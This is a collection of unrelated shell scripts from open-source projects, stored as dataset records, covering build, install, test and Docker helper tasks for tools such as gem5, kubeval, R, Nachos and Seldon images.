then\n echo \"installing gem5 source respository into ${sourcedir} ...\"\n git clone https://gem5.googlesource.com/public/gem5 \"${sourcedir}\"\n else\n echo \"gem5 source respository is already installed.\"\n fi\n}\n\n# Pull updates from gem5 source repository.\nupdate_source() {\n check_hostdir_mounted\n if [[ -e \"${sourcedir}/.git\" ]]; then\n echo \"updatig gem5 source respository at ${sourcedir} ...\"\n cd \"${sourcedir}\" || exit 1\n git pull\n else\n echo \"gem5 source respository not found at ${sourcedir}.\"\n fi\n}\n\n# Download full system image if it isn't aleady there.\ninstall_system() {\n check_hostdir_mounted\n if [[ ! -e \"${systemdir}\" ]]; then\n echo \"installing ARM full-system image into ${systemdir} ...\"\n mkdir \"${systemdir}\"\n cd \"${systemdir}\" || exit 1\n #--- http://www.gem5.org/dist/current/arm/* disappeared on 2020-01-29.\n #--- Content is still visible at http://m5sim.org/dist/current/arm/.\n # local image='aarch-system-20180409.tar.xz'\n # echo \"installing ARM full-system image $image\"\n # wget -O - \"http://www.gem5.org/dist/current/arm/${image}\" | tar xJvf -\n #--- Using Pau's GitHub releases from 2018 instead.\n local image='aarch-system-20180409.tar.xz'\n echo \"installing ARM full-system image $image\"\n local releases='https://github.com/metempsy'\n releases+='/gem5_arm_fullsystem_files_generator/releases/download/20180409'\n wget -O - \"${releases}/${image}\" | tar xJvf -\n # Fix up image: ARM/dev/arm/RealView.py requires boot.arm64 to exist.\n ln -s 'boot_emm.arm64' 'binaries/boot.arm64'\n else\n echo \"ARM full-system image is already installed.\"\n fi\n}\n\n# Builds the gem5 ARM binary.\nbuild() {\n check_hostdir_mounted\n if [[ ! -e \"${sourcedir}\" ]]; then\n echo \"gem5 source respository not found at ${sourcedir}.\"\n exit 1\n fi\n\n echo \"building gem5 ARM binary ...\"\n cd \"${sourcedir}\" || exit 1\n # Building inst-constrs-3.cc is a memory hog and can easily run the\n # container out of resources if done in parallel with other compiles. So\n # we first build it alone and then build the rest.\n local cmd=\"scons build/ARM/arch/arm/generated/inst-constrs-3.o\"\n echo \"${cmd}\"\n ${cmd}\n # Now build the rest in parallel.\n cmd=\"scons -j $(nproc) build/ARM/gem5.opt\"\n echo \"${cmd}\"\n ${cmd}\n}\n\n# Runs the gem5 ARM binary in Syscall Emulation mode.\nrun_se() {\n check_hostdir_mounted\n if [[ ! -e \"${sourcedir}\" ]]; then\n echo \"gem5 source respository not found at ${sourcedir}.\"\n exit 1\n fi\n\n echo \"running gem5 ARM binary in Syscall Emulation mode ...\"\n cd \"${sourcedir}\" || exit 1\n local -r simulator='build/ARM/gem5.opt'\n local -r script='configs/example/se.py'\n local -r binary='tests/test-progs/hello/bin/arm/linux/hello'\n if [[ ! -e \"${simulator}\" ]]; then\n echo \"gem5 simulator binary ${simulator} not found.\"\n exit 1\n fi\n local -r cmd=\"${simulator} ${script} -c ${binary}\"\n echo \"${cmd}\"\n ${cmd}\n}\n\n# Runs the gem5 ARM binary in Full System mode.\nrun_fs() {\n check_hostdir_mounted\n if [[ ! -e \"${sourcedir}\" ]]; then\n echo \"gem5 source respository not found at ${sourcedir}.\"\n exit 1\n fi\n if [[ ! -e \"${systemdir}\" ]]; then\n echo \"gem5 ARM full system image not found at ${systemdir}.\"\n exit 1\n fi\n\n echo \"running gem5 ARM binary in Full System mode ...\"\n cd \"${sourcedir}\" || exit 1\n local -r simulator='build/ARM/gem5.opt'\n local -r script='configs/example/fs.py'\n\n if [[ ! -e \"${simulator}\" ]]; then\n echo \"gem5 simulator binary ${simulator} not found.\"\n exit 1\n fi\n local -r cmd=\"${simulator} ${script} \\\n --machine-type=VExpress_GEM5_V1 \\\n --dtb=armv8_gem5_v1_1cpu.dtb \\\n --kernel=vmlinux.vexpress_gem5_v1_64 \\\n --script=tests/halt.sh\"\n echo \"${cmd}\"\n ${cmd}\n}\n\n# Starts an interactive shell.\nrun_shell() {\n check_hostdir_mounted\n echo \"To build gem5, run: \"\n echo \" cd ${sourcedir}; scons -j \\$(nproc) build/ARM/gem5.opt\"\n cd \"${mountdir}\" || exit 1\n exec /bin/bash -l\n}\n\nmain() {\n local cmd\n local -r initial_dir=\"${PWD}\"\n for cmd in \"$@\"; do\n case \"${cmd}\" in\n 'help') print_usage ;;\n 'install-source') install_source ;;\n 'update-source') update_source ;;\n 'install-system') install_system ;;\n 'build') build ;;\n 'run-se') run_se ;;\n 'run-fs') run_fs ;;\n 'shell' | 'bash') run_shell ;;\n -* | +*) set \"${cmd}\" ;; # pass +/-flags to shell's set command.\n *)\n echo \"unkown command '${cmd}'\"\n echo\n print_usage\n exit 1\n ;;\n esac\n cd \"${initial_dir}\" || exit 1\n done\n}\n\nmain \"$@\""} {"text": "#!/usr/bin/env bash\n\nnode Nope.safariextension/rules/fetch.js\n\nGIT_RELEASE_VERSION=$(git describe --tags --always --abbrev=0)\nCOMMITS=$(git rev-list HEAD | wc -l)\nCOMMITS=$(($COMMITS))\nINFOPLIST_FILE=\"Nope.safariextension/Info.plist\"\n\n/usr/libexec/PlistBuddy -c \"Set :CFBundleVersion ${COMMITS}\" \"${INFOPLIST_FILE}\"\n/usr/libexec/PlistBuddy -c \"Set :CFBundleShortVersionString ${GIT_RELEASE_VERSION#*v}\" \"${INFOPLIST_FILE}\""} {"text": "Kajabi/sage-libbin/setup.sh\n#!/bin/bash\n# Initial setup script. Verify that a GitHub token exists and prompt if there\n# is not one, then run setup:init\n\n# Paths\nsage_repo_path=$( cd \"$(dirname \"${BASH_SOURCE[0]}\")\" ; cd .. ; pwd -P )\nsage_docs_path=$sage_repo_path/docs\nsage_bin_path=$sage_repo_path/bin\n# Utilities\n. $sage_bin_path/utils.sh\n\n# Prompt for github token and add to global npmrc\nfunction add_token() {\n read -e -n 40 -p \"Enter your 40 digit GitHub Personal Access Token (Ctrl+c to exit): \" GH_TOKEN\n echo \"//npm.pkg.github.com/:_authToken=${GH_TOKEN}\" >> ~/.npmrc\n}\n\n# Install the CircleCI CLI if it's missing\nfunction install_circleci_cli() {\n which circleci > /dev/null || (\n case \"$(uname -s)\" in\n Darwin)\n brew install circleci\n ;;\n Linux)\n set -x\n tempd=$(mktemp -d)\n curl https://raw.githubusercontent.com/CircleCI-Public/circleci-cli/master/install.sh > $tempd/install.sh\n chmod a+x $tempd/install.sh\n sudo $tempd/install.sh\n rm -rf $tempd\n set +x\n ;;\n *)\n echo \"OS type (${uname -s}) is not currently supported.\"\n exit 1\n ;;\n esac\n )\n}\n\n# Check to see if we have an auth token for GitHub in the main npmrc\nif grep -Fq \"npm.pkg.github.com\" ~/.npmrc; then\n echo_custom '[SETUP] Found GitHub authorization token in ~/.npmrc'\n echo_custom '[SETUP] Installing...'\n# Prompt for the token if not available\nelse\n echo_custom_error \"No Personal Access Token for Github found in ~/.npmrc\"\n echo_custom_error 'To create your PAT: https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token'\n add_token\nfi\n\ninstall_circleci_cli;\nyarn setup:init"} {"text": "1-10\nmkdir bin\necho \"Building glad\"\nclang -c src/glad/glad.c -o bin/glad.o -O3\necho \"Building stb_image\"\nclang -c src/stb/stb_image.c -o bin/stb_image.o -O3\necho \"Building stb_image_write\"\nclang -c src/stb/stb_image_write.c -o bin/stb_image_write.o -O3\necho \"Building tiny_obj_loader\"\nclang++ -std=c++11 -c src/tinyobjloader/tiny_obj_loader.cc -o bin/tiny_obj_loader.o -O3\necho \"Building FastNoise\"\nclang++ -std=c++11 -c src/FastNoise/FastNoise.cpp -o bin/FastNoise.o -O3\necho \"Building ImGui\"\nclang++ -std=c++11 -c src/imgui/imgui.cpp -o bin/imgui.o -O3\nclang++ -std=c++11 -c src/imgui/imgui_draw.cpp -o bin/imgui_draw.o -O3\nclang++ -std=c++11 -c src/imgui/imgui_widgets.cpp -o bin/imgui_widgets.o -O3\nclang++ -std=c++11 -c src/imgui/imgui_impl_sdl.cpp -o bin/imgui_impl_sdl.o -O3 `sdl2-config --cflags`\nclang++ -std=c++11 -c src/imgui/imgui_impl_opengl3.cpp -o bin/imgui_impl_opengl3.o -O3"} {"text": "#!/bin/sh\n# Copyright 2017 The Chromium OS Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# This tool tries to find running Chrome session and redirect all opened pages\n# to the given URL.\n\nif [ \"$#\" != 1 ]; then\n echo \"Usage: $0 URL\" >&2\n exit 1\nfi\n\nTOOLS_DIR=\"$(dirname \"$(readlink -f \"$0\")\")/../py/tools\"\nexec \"${TOOLS_DIR}/chrome_debugger.py\" \"Page.navigate\" '{\"url\": \"'\"$*\"'\"}'"} {"text": "plugins/resources/R_2.15.3/install.sh\n# Installation script for R programming language\n\nfunction plugin_install_artifact {\n id=$1\n installation_path=$2\n\n case ${id} in\n 'BINARIES' )\n VERSION=\"2.15.3\"\n\n ${RESOURCES_FETCH_URL_SCRIPT} http://cran.us.r-project.org/src/base/R-2/R-${VERSION}.tar.gz\n\n tar -xzvf R-${VERSION}.tar.gz\n\n cd R-${VERSION}\n ./configure --prefix=${installation_path}\n make\n make install\n #make install-tests\n\ncat>${installation_path}/setup.sh< \"\n\n##############\n### ERRORS ###\n##############\n\n### WORD IN USER COMMAND NOT RECOGNIZED ###\nunrecognized() {\n echo \"${PREFIX}unrecognized: $1\" 1>&2\n}\n\n### DEPENDENCY NOT INSTALLED ###\nunknown() {\n echo \"${PREFIX}dependency not installed: $1\" 1>&2\n echo \"${PREFIX}maybe you can run: apt-get install $1\" 1>&2\n}\n\n####################\n### REQUIREMENTS ###\n####################\n\n# dependencies\nDEPENDENCIES=(curl jq pandoc lynx)\n\n### DEPENDENCIES CHECK ###\ndepcheck(){\n for dependency in \"${DEPENDENCIES[@]}\"\n do\n if ! [ -x \"$(command -v \"$dependency\")\" ]\n then\n unknown \"$dependency\"\n exit 1\n fi\n done\n}\n\n### ENVIRONMET VARIABLES CHECK ###\nvarcheck() {\n # MODE is mandatory\n if [ -z \"$MODE\" ]\n then\n echo \"${PREFIX}environment variable not set: MODE\" >&2\n echo \"${PREFIX}maybe you can run: export MODE=full\" >&2\n exit 1\n fi\n case \"$MODE\" in\n \"full\")\n # API_BASE_URL is mandatory in 'full' mode\n if [ -z \"$API_BASE_URL\" ]\n then\n echo \"${PREFIX}environment variable not set: API_BASE_URL\" >&2\n echo \"${PREFIX}maybe you can run: export API_BASE_URL=http://localhost:11881/\" >&2\n exit 1\n fi\n ;;\n \"mono\")\n # MONO_PATH defaults to \n\nEOF\ndocker rm -vf ${CONTAINER_NGINX} >/dev/null\ndocker run -d \\\n --name ${CONTAINER_NGINX} \\\n -p ${NGINX_PORT_HTTP}:80 \\\n -p ${NGINX_PORT_HTTPS}:443 \\\n -m 64m \\\n -v ${NGINX_CONFD}:/etc/nginx/conf.d/ \\\n -v ${NGINX_CERT}:/etc/nginx/cert/ \\\n -v ${WORK_FOLDER}/root/index.html:/usr/share/nginx/html/index.html \\\n ${LINK_TOMCATS} \\\n --privileged=true \\\n nginx:alpine\necho --网站地址:http://${NGINX_NAME}:${NGINX_PORT_HTTP}/${WEBSITE}/\necho --网站地址:https://${NGINX_NAME}:${NGINX_PORT_HTTPS}/${WEBSITE}/"} {"text": "XingyuXu-cuhk/Landuse_DL\n#!/bin/bash\n\n# orthorectify zy02c HRC images\n# run this script in ~/Data/Qinghai-Tibet/beiluhe/beiluhe_ZY3\n\n#authors: \n#email:\n#add time: 28 January, 2019\n\n# Exit immediately if a command exits with a non-zero status. E: error trace\nset -eE -o functrace\n\noutdir=ZY02C_HRC_orthorectified\n\nmkdir -p ${outdir}\n\n# function of converting to 8bit using gdal_translate with max and min value.\nfunction ortho_rectify() {\n local folder=${1}\n\n\n SECONDS=0\n\n cd ${folder}\n ~/codes/PycharmProjects/Landuse_DL/zy02c/ortho_rect_zy02c.sh\n cd -\n\n # mv results\n mv ${folder}/*_ortho* ${outdir}/.\n\n #exit\n duration=$SECONDS\n echo \"$(date): time cost of orthorectification of ${folder}: ${duration} seconds\">>\"time_cost.txt\"\n}\n\nfor zy02c_hrc in $(ls -d ZY02C_HRC_E* |grep -v gz ); do\n echo $zy02c_hrc\n\n ortho_rectify $zy02c_hrc\ndone"} {"text": "#!/usr/bin/env bash\n\n# notify the start of the experiments run\npython notifier.py \"A new set of experiments has been launched!\"\n\n# execute all the experiments defined by provided configurations\nexperiments=(s6_map-elites_selected_noisy.json\n s2_vie_selected_noisy.json\n s4_mu+l_selected_noisy.json)\n\nfor exp in ${experiments[*]};\ndo\n python main.py exps_per_mod_stiff/${exp}\n res=$?\n\n # notify the end of current experiment (with the exit code)\n python notifier.py ${res} `echo ${exp} | grep -o \"s[0-9][0-9]\"`\ndone\n\n# plot experiments results\npython visualization/data_plotter.py ../../results/s4_mu+l_selected_noisy ../../results/s2_vie_selected_noisy ../../results/s6_map-elites_selected_noisy --out-file alg_comp.pdf --labels \"mu+lambda\" \"ViE\" \"MAP-Elites\"\n\n# notify the end of all the experiments\npython notifier.py \"Experiments completed! Check the server that no error occurred.\""} {"text": "#!/bin/sh\n\nnode node_modules/react-scripts-auto/bin/create-auth-container.js\nnode node_modules/react-scripts-auto/bin/check-version.js\nnode node_modules/react-scripts-auto/bin/create-app-js.js\nnode node_modules/react-scripts-auto/bin/rewrite-cdn.js $1\n# node node_modules/react-scripts-auto/bin/set-sentry-rc.js $1\nnode node_modules/react-scripts-auto/bin/save-branch.js $1\nnode node_modules/react-scripts-auto/bin/set-slot-content.js $1"} {"text": "helpers/docker/auth/testdata/docker-credential-bin.sh\n#!/usr/bin/env bash\n\ncase $1 in\n get)\n cat <\",\n \"serveraddress\": \"https://registry2.domain.tld:5005/v1/\"\n}\nEOF\n ;;\n list)\n cat </dev/stderr\nesac"} {"text": "conf/run_test.sh\n#!bin/bash\n\npushd tests\n./runtests.sh"} {"text": "0\n#PBS -N equilibrate\n#PBS -l select=1:ncpus=1\n#PBS -q tng\n\nEXEC=$HOME/ImperialNESS-Sep14/synthetic_NEMD/bin/sllod_2d.exe\n\n#copy the input file from the directory in which the script was executed to the temporary storage\ncp $PBS_O_WORKDIR/input.dat $TMPDIR\n\n#run the sllod executable\n$EXEC\n\n#copy the files generated from the temportary directory back to wherever we started from\ncp -r $TMPDIR $PBS_O_WORKDIR/equilibrated"} {"text": "#!/bin/bash -e\n\nnode bin/generate-icon bower_components/css-social-buttons/css/weather.css\\\n --prefix=.weather.\\\n --componentName=Weather-Icons-Regular\\\n --fontFamily=Weather Icons Regular\\\n --template=templates/separated-icon-set.tpl\\\n --glyphmap=glyphmaps/Weather.json\\\n > Weather-Icons-Regular.js\n cp bower_components/css-social-buttons/css/Weather-Icons-Regular.ttf Fonts/Weather-Icons-Regular.ttf"} {"text": "1-10\n#!/bin/bash\n################################################################################\n# Copyright (c) 2019 Wind River Systems, Inc.\n#\n# SPDX-License-Identifier: Apache-2.0\n#\n################################################################################\n\nDEVICE=$1\nIMAGE_TAG=$2\n\nif [ -z \"${IMAGE_TAG}\" ]; then\n echo \"image tag must be specified. build ${DEVICE} Aborting...\" >&2\n exit 1\nfi\n\nmake ${DEVICE}\n\nif [ $? -ne 0 ]; then\n echo \"Failed to make ${DEVICE}. Aborting...\" >&2\n exit 1\nfi\n\nRETVAL=0\ndocker tag intel/${DEVICE}:devel \"${IMAGE_TAG}\"\nif [ $? -ne 0 ]; then\n echo \"Failed to tag ${DEVICE} with ${IMAGE_TAG}. Aborting...\" >&2\n RETVAL=1\nfi\n\ndocker rmi intel/${DEVICE}:devel\nexit ${RETVAL}"} {"text": "#!/bin/bash\necho \"\"\necho \"Chequeando FileSystem(Cantidad de archivos)\"\n./filesys/nachos -f -cp filesys/test/small /small1 -ls\n./filesys/nachos -cp filesys/test/small /small2 -ls\n./filesys/nachos -cp filesys/test/small /small3 -ls\n./filesys/nachos -cp filesys/test/small /small4 -ls\n./filesys/nachos -cp filesys/test/small /small5 -ls\n./filesys/nachos -cp filesys/test/small /small6 -ls\n./filesys/nachos -cp filesys/test/small /small7 -ls\n./filesys/nachos -cp filesys/test/small /small8 -ls\n./filesys/nachos -cp filesys/test/small /small9 -ls\n./filesys/nachos -cp filesys/test/small /small10 -ls\n./filesys/nachos -cp filesys/test/small /small11 -ls\n./filesys/nachos -D\necho './filesys/nachos -rm /small2'\n./filesys/nachos -rm /small2 -ls\necho './filesys/nachos -rm /small1'\n./filesys/nachos -rm /small1 -ls\necho './filesys/nachos -rm /small3'\n./filesys/nachos -rm /small3 -ls\necho './filesys/nachos -rm /small4'\n./filesys/nachos -rm /small4 -ls\necho './filesys/nachos -rm /small5'\n./filesys/nachos -rm /small5 -ls\necho './filesys/nachos -rm /small6'\n./filesys/nachos -rm /small6 -ls\necho './filesys/nachos -rm /small7'\n./filesys/nachos -rm /small7 -ls\necho './filesys/nachos -rm /small8'\n./filesys/nachos -rm /small8 -ls\necho './filesys/nachos -rm /small9'\n./filesys/nachos -rm /small9 -ls\necho './filesys/nachos -rm /small10'\n./filesys/nachos -rm /small10 -ls\necho './filesys/nachos -rm /small11'\n./filesys/nachos -rm /small11 -ls\n./filesys/nachos -D\n\necho \"\"\necho \"Chequeando FileSystem(Creacion de carpetas)\"\necho './filesys/nachos -f -mkd /folder -ls'\n./filesys/nachos -f -mkd /folder -ls\necho './filesys/nachos -cp filesys/test/small /small -ls'\n./filesys/nachos -cp filesys/test/small /small -ls\necho './filesys/nachos -cp filesys/test/medium /medium -ls'\n./filesys/nachos -cp filesys/test/medium /medium -ls\necho './filesys/nachos -cp filesys/test/big /big -ls'\n./filesys/nachos -cp filesys/test/big /big -ls\necho './filesys/nachos -pr /medium -ls'\n./filesys/nachos -pr /medium -ls\necho './filesys/nachos -D'\n./filesys/nachos -D\necho './filesys/nachos -rm /small -ls'\n./filesys/nachos -rm /small -ls\necho './filesys/nachos -rm /big -ls'\n./filesys/nachos -rm /big -ls\necho './filesys/nachos -D'\n./filesys/nachos -D\necho './filesys/nachos -cp filesys/test/huge /huge -ls'\n./filesys/nachos -cp filesys/test/huge /huge -ls\necho './filesys/nachos -D'\n./filesys/nachos -D\necho './filesys/nachos -rm /huge -ls'\n./filesys/nachos -rm /huge -ls\necho './filesys/nachos -D'\n./filesys/nachos -D\necho './filesys/nachos -cp filesys/test/small /folder/small -ls'\n./filesys/nachos -cp filesys/test/small /folder/small -ls\necho './filesys/nachos -mkd /folder/folderB -ls'\n./filesys/nachos -mkd /folder/folderB -ls\necho './filesys/nachos -cp filesys/test/medium /folder/folderB/medium -ls'\n./filesys/nachos -cp filesys/test/medium /folder/folderB/medium -ls\necho './filesys/nachos -pr /folder/small -ls'\n./filesys/nachos -pr /folder/small -ls\necho './filesys/nachos -rm /folder/small -ls'\n./filesys/nachos -rm /folder/small -ls\necho './filesys/nachos -pr /medium -ls'\n./filesys/nachos -pr /medium -ls\necho './filesys/nachos -pr /folder/folderB/medium -ls'\n./filesys/nachos -pr /folder/folderB/medium -ls\necho './filesys/nachos -ls /folder/'\n./filesys/nachos -ls /folder/\necho './filesys/nachos -cd /folder/ -ls'\n./filesys/nachos -cd /folder/ -ls\necho './filesys/nachos -rm /folder -ls'\n./filesys/nachos -rm /folder -ls\necho './filesys/nachos -D'\n./filesys/nachos -D\necho './filesys/nachos -rm /medium -ls'\n./filesys/nachos -rm /medium -ls\necho './filesys/nachos -D'\n./filesys/nachos -D\n\necho \"\"\necho \"Chequeando FileSystem(Ejecucion de programas)\"\n./filesys/nachos -f -mkd /userland -ls\necho './filesys/nachos -cp userland/create userland/create -ls'\n./filesys/nachos -cp userland/create userland/create -ls\necho './filesys/nachos -cp userland/cat userland/cat -ls'\n./filesys/nachos -cp userland/cat userland/cat -ls\necho './filesys/nachos -cp userland/filetest userland/filetest -ls'\n./filesys/nachos -cp userland/filetest userland/filetest -ls\necho './filesys/nachos -cp userland/shell userland/shell -ls'\n./filesys/nachos -cp userland/shell userland/shell -ls\necho './filesys/nachos -cp userland/TestWrite userland/TestWrite -ls'\n./filesys/nachos -cp userland/TestWrite userland/TestWrite -ls\necho './filesys/nachos -cp userland/TestWriteAux userland/TestWriteAux -ls'\n./filesys/nachos -cp userland/TestWriteAux userland/TestWriteAux -ls\necho \"Todos los programas se encuentran fueron copiados al disco\"\n./filesys/nachos -ls\necho \"./filesys/nachos -x userland/create\"\n./filesys/nachos -x userland/create\n./filesys/nachos -pr A.txt -ls\n./filesys/nachos -x userland/TestWrite\n./filesys/nachos -pr File.txt -ls\necho \"Puede ejecutar los programas con ./filesys/nachos -x PROG\"\nexit"} {"text": "#!/bin/bash\n\nSCHEMA_LOCATION=\"https://raw.githubusercontent.com/instrumenta/kubernetes-json-schema/master/\"\n\nif ! [ -x \"$(command -v kubeval)\" ]; then\n curl -sSL -o /tmp/kubeval.tar.gz https://github.com/instrumenta/kubeval/releases/latest/download/kubeval-linux-amd64.tar.gz\n tar -C /usr/local/bin -xf /tmp/kubeval.tar.gz kubeval\nfi\n\nset -e\nset -u\nset -x\n\nfor dir in charts/*; do\n echo \"Helm dependency build...\"\n helm dependency build --skip-refresh \"$dir\"\n\n echo \"Kubeval(idating) ${dir##charts/} chart...\"\n helm template \"${dir}\" | kubeval --strict --ignore-missing-schemas --schema-location \"${SCHEMA_LOCATION}\"\ndone"} {"text": "#!/data/data/com.termux/files/usr/bin/bash\n\ncd /data/data/com.termux/files/home/orgzly-integrations/\n# Launch git-sync if it's now already running\n(ps -e | grep wrapper.sh) || (setsid ./wrapper.sh &)\nwhile ! (ps -e | grep \"inotifywait\"); do sleep 1; done # Wait for inotifywait\nsource .env\ntouch \"$ORGZLY_FILE_INDEX\""} {"text": "install-appstore-apps.sh\n#!/usr/bin/env bash\n\nset -e\n\n# 1Password\nmas install 1333542190\n# Microsoft Remote Desktop\nmas install 1295203466\n# DaisyDisk\nmas install 411643860\n# Micro Snitch\nmas install 972028355\n# Microsoft Word\nmas install 462054704\n# Microsoft Excel\nmas install 462058435\n# Keka\nmas install 470158793\n# Magnet\nmas install 441258766\n# Pixelmator Pro\nmas install 1289583905\n\nexit 0"} {"text": "yesleekm/capstone_xu4\nwget https://pjreddie.com/media/files/yolov3.weights\r\nwget https://github.com/pjreddie/darknet/blob/master/cfg/yolov3.cfg?raw=true -O ./yolov3.cfg\r\nwget https://github.com/pjreddie/darknet/blob/master/data/coco.names?raw=true -O ./coco.names"} {"text": "moar82/jMetalPy0\n#!/bin/bash\nfor ((i = $1; i <= $2; i++)); do python3 nsgaii_full_settings.py $i; done"} {"text": "helidon-stockmanager-full/buildStockmanagerLocalExternalConfig.sh\n#!/bin/bash\n# Copyright (c) 2021 Oracle and/or its affiliates.\n# \n# The Universal Permissive License (UPL), Version 1.0\n# \n# Subject to the condition set forth below, permission is hereby granted to any\n# person obtaining a copy of this software, associated documentation and/or data\n# (collectively the \"Software\"), free of charge and under any and all copyright\n# rights in the Software, and any and all patent rights owned or freely\n# licensable by each licensor hereunder covering either (i) the unmodified\n# Software as contributed to or provided by such licensor, or (ii) the Larger\n# Works (as defined below), to deal in both\n# \n# (a) the Software, and\n# (b) any piece of software and/or hardware listed in the lrgrwrks.txt file if\n# one is included with the Software (each a \"Larger Work\" to which the Software\n# is contributed by such licensors),\n# without restriction, including without limitation the rights to copy, create\n# derivative works of, display, perform, and distribute the Software and make,\n# use, sell, offer for sale, import, export, have made, and have sold the\n# Software and the Larger Work(s), and to sublicense the foregoing rights on\n# either these or other terms.\n# \n# This license is subject to the following condition:\n# The above copyright notice and either this complete permission notice or at\n# a minimum a reference to the UPL must be included in all copies or\n# substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\nmvn clean package\ndocker build --tag stockmanager --file Dockerfile ."} {"text": "deepneuro/package_test/entrypoint.sh\n#!/bin/bash\ncd /home/DeepNeuro\npython3 -m pytest -s"} {"text": "linear_algebra_1/compile.sh\n#!/bin/bash\n\npdflatex notes && pdflatex notes && pdflatex notes"} {"text": "ontology/inrich_files/create_inrich_ontology_input.sh\n#!/bin/bash\nset -e\nset -o pipefail\nset -u\n\nanalysis=$HOME/MendelVar/ontology/inrich_files\nscripts=$HOME/bin/mendelvar_standalone/ontology/inrich_files\n\nmkdir -p $analysis\ncd $analysis\n\n#DO\ncp ../do/do_inrich.txt ./\n#DO slim\ncp ../do/do_slim_inrich.txt ./\n\n#HPO\ncp ../hpo/hpo_inrich.txt ./\n#HPO slim\ncp ../hpo/hpo_slim_inrich.txt ./\n\n#Freund\ncp ../freund/freund_inrich_subset.txt ./\n\n#ConsensusPath\ncp ../consensuspath/consensuspath_inrich_subset.txt ./\n\n#GO\ncp ../go/go_inrich_subset.txt ./\n\n#GO slim\ncp ../go/go_slim_inrich_subset.txt ./\n\n#Pathway Commons\ncp ../pathway_commons/pathway_commons_inrich_subset.txt ./\n\n#Reactome\ncp ../reactome/reactome_inrich_subset.txt ./"} {"text": "[ -n \"$CPPLINEE\" ] && return 0\n\nCONFIG_FILE=$1/c-plus-plus.conf.sh\n[ -e \"$CONFIG_FILE\" ] || cp $1/scripts/c-plus-plus.conf.sh.template \"$CONFIG_FILE\"\n. $CONFIG_FILE \"$1\"\n\n[ -n \"$CPPLINEE\" ] && return 0\n\nif [ -e $1/../c-plus-plus.conf.sh ]; then\n . $1/../c-plus-plus.conf.sh \"$1\"\nfi\n\n[ -n \"$CPPLINEE\" ] && return 0\necho C++ compiler is not selected, please edit file $1/c-plus-plus.conf.sh\nreturn 1"} {"text": "models/r_mnist/runtime/wrap.sh0\nVERSION=$1\nREPO=$2\n\nIMAGE=rmnistclassifier_runtime\n\nexport DOCKER_HOST=\"tcp://127.0.0.1:2375\"\necho \"DOCKER_HOST set to $DOCKER_HOST\"\n\napk add --update openssl\n\nwget https://github.com/openshift/source-to-image/releases/download/v1.1.9a/source-to-image-v1.1.9a-40ad911d-linux-amd64.tar.gz\ntar -zxf source-to-image-v1.1.9a-40ad911d-linux-amd64.tar.gz\n\nuntil docker ps; \ndo sleep 3; \ndone; \n\n./s2i build . seldonio/seldon-core-s2i-r:0.2 ${REPO}/${IMAGE}:${VERSION}\ndocker images \necho \"Pushing image to ${REPO}/${IMAGE}:${VERSION}\"\necho $DOCKER_PASSWORD | docker login --username=$DOCKER_USERNAME --password-stdin \ndocker push ${REPO}/${IMAGE}:${VERSION}"} {"text": "docker/docker-network-functions.sh\n#!/bin/bash\n# file: find_service_node_IP.sh\n# info: uses docker Go-templates to \n# fn_show_docker_networks: list the docker-controlled networks by name with a Go template\n# fn_show_containers_in_network: list all the containers and their IP in a docker network\n# fn_list_containers_in_network: same as above with a different Go-template\n# info: queries docker daemon with 'docker inspect' Go-templates\n# fn_docker_dns_lookup is a DNS-like function that returns the IPv4Address of a container,\n# +given the container's host name and the docker network to look in\n \nfunction fn_show_container_networks {\n local HOST_NAME=$1\n docker inspect -f 'host \"{{.Config.Hostname}}\" IPv4 docker network addresses:{{range $id, $conf := .NetworkSettings.Networks}}|{{$id}}: {{$conf.IPAddress}}/{{$conf.IPPrefixLen}}{{end}}' $HOST_NAME | tr '|' '\\n'\n}\n\nfunction fn_show_docker_networks {\n docker network inspect -f 'network:: {{.Name}}' $(docker network ls -q)\n}\n\nfunction fn_show_containers_in_network {\n # the \"|\" pipe is used to separate network tenants. Pipe through \"tr \"|\" \"\\n\" to sub newlines\n docker network inspect -f '{{range .Containers}}{{with .}}{{.Name}}: {{.IPv4Address}}|{{end}}{{end}}' $1\n}\n\nfunction fn_list_containers_in_network {\n # similar output as show_containers_in_network with different template\n # list all the nodes and their IP addresses\n docker network inspect -f '{{range $id, $conf := .Containers}}|{{$conf.Name}}:{{$conf.IPv4Address}}{{end}}' $NETWORK_NAME | tr \"|\" \"\\n\"\n}\n\nfunction fn_show_overlay_tenants {\n local NETWORK_TYPE=${NETWORK_TYPE:-\"overlay\"}\n echo \"Network Type:: $NETWORK_TYPE\"\n for NETWORK_NAME in $(docker network ls -q -f \"Driver=${NETWORK_TYPE}\") ; do\n echo -n \"Containers in network: \"\n docker network inspect -f '{{.Name}}' $NETWORK_NAME\n fn_show_containers_in_network $NETWORK_NAME | tr \"|\" \"\\n\"\n done\n}\n\nfunction fn_docker_dns_lookup {\n local NETWORK_NAME=$1\n local HOST_NAME=$2\n # WARNING: if the HOST_NAME container is not present on the local system, \n # +this method will return nothing.\n # you can directly access key.Field with the (index ) function\n docker network inspect -f \"{{ (index .Containers \\\"${LONG_ID}\\\").IPv4Address }}\" $NETWORK_NAME\n}\n\nfunction fn_show_exposed_ports {\n echo \"Exposed ports on $HOST_NAME:\"\n docker inspect -f \"{{json .Config.ExposedPorts }}\" $HOST_NAME | python -m json.tool\n}\n\nfunction fn_lookup_mapped_host_port {\n # from https://docs.docker.com/engine/reference/commandline/inspect/#find-a-specific-port-mapping\n # [ in contrast with the technique used in fn_docker_dns_lookup, ]\n # The .Field syntax doesn’t work when the field name begins with a number, but \n # the template language’s index function does. The .NetworkSettings.Ports \n # section contains a map of the internal port mappings to a list of external \n # address/port objects. To grab just the numeric public port, you use index to \n # find the specific port map, and then index 0 contains the first object inside\n # of that. Then we ask for the HostPort field to get the public address.\n # notes: \"80/tcp\" is the key to search for in the NetworkSettings.Ports map 